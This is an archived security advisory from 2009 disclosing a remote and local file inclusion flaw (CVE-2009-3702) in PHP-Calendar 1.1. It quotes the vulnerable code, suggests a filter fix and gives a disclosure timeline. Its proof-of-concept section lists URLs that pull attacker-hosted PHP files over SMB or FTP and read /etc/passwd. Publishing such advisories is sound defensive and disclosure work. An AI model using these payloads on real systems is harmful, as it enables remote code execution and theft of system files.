exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP-Calendar 1.1 Remote/Local File Inclusion

PHP-Calendar 1.1 Remote/Local File Inclusion
Posted Dec 18, 2009
Authored by Juan Galiana Lara

PHP-Calendar version 1.1 suffers from remote and local file inclusion vulnerabilities.

tags | exploit, remote, local, php, vulnerability, code execution, file inclusion
advisories | CVE-2009-3702
SHA-256 | 840e9b68fad40237db6a10b3a2a2bd615d1946cf2a3593cf203fb666b3defe61

PHP-Calendar 1.1 Remote/Local File Inclusion

Change Mirror Download
=============================================
INTERNET SECURITY AUDITORS ALERT 2009-011
- Original release date: October 13th, 2009
- Last revised: December 18th, 2009
- Discovered by: Juan Galiana Lara
- CVE ID: CVE-2009-3702
- Severity: 8.5/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
PHP-Calendar v1.1 'configfile' Remote and Local File Inclusion
vulnerability

II. BACKGROUND
-------------------------
PHP-Calendar is a simple web calendar. It is targeted towards groups
that need to collaboratively create and track events. In that same
collaborative spirit, the source for PHP-Calendar is available under
an open source license for anyone to use and modify.

III. DESCRIPTION
-------------------------
The 'configfile' variable is not properly filtered, and is possible to
include arbitrary remote and local files. This attack may lead to the
execution of arbitrary code.

The snippet of vulnerable code (part of update08.php and update10.php
file):

36 } elseif(!empty($_GET['configfile'])) {
37 if(file_exists($_GET['configfile'])) {
38 require_once($_GET['configfile']);

In order to include remote files, the value 'On' in the
allow_url_fopen directive is needed. There are two cases in which it
is possible remote code execution due to bypass the file_exists function:

1) If the victim server is running Windows operating system and there
is not a firewall filtering outgoing SMB requests, an attacker can use
an URL like //servername/path/to/file.php
2) If server is running PHP version > 5.0.0 (the most common) an
attacker can use FTP/FTPS protocol for inclusion. Like
ftp://servername/path/to/file.php See references for more information.

IV. PROOF OF CONCEPT
-------------------------
For including remote files:

http://site/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://site/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php

Local files, this PoC will show the /etc/passwd file:

http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwd

V. BUSINESS IMPACT
-------------------------
Unauthenticated users can view any local file in the filesystem and
could execute arbitrary code remotely.

VI. SYSTEMS AFFECTED
-------------------------
PHP-Calendar version 1.1 is vulnerable, others may be affected

VII. SOLUTION
-------------------------
Change the code of update08.php (line 38) and update10.php (line 35)
in order to filter $_GET['configfile'] variable.

if (ereg('^[a-zA-Z0-9_]+$', $_GET['configfile']))
require_once($_GET['configfile']);

III. REFERENCES
-------------------------
http://www.php-calendar.com/
http://www.php.net/manual/en/wrappers.ftp.php
http://www.isecauditors.com/

IX. CREDITS
-------------------------
This vulnerability has been discovered by
Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
October 13, 2009: Initial release.
October 19, 2009: Added CVE id.
December 18, 2009: Last revision.

XI. DISCLOSURE TIMELINE
-------------------------
October 13, 2009: Vulnerability discovered by
Internet Security Auditors (www.isecauditors.com)
October 13, 2009: Sent to developers. No response.
December 13, 2009: Contact again. No response.
December 18, 2009: Added mitigation solution and sent to lists.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close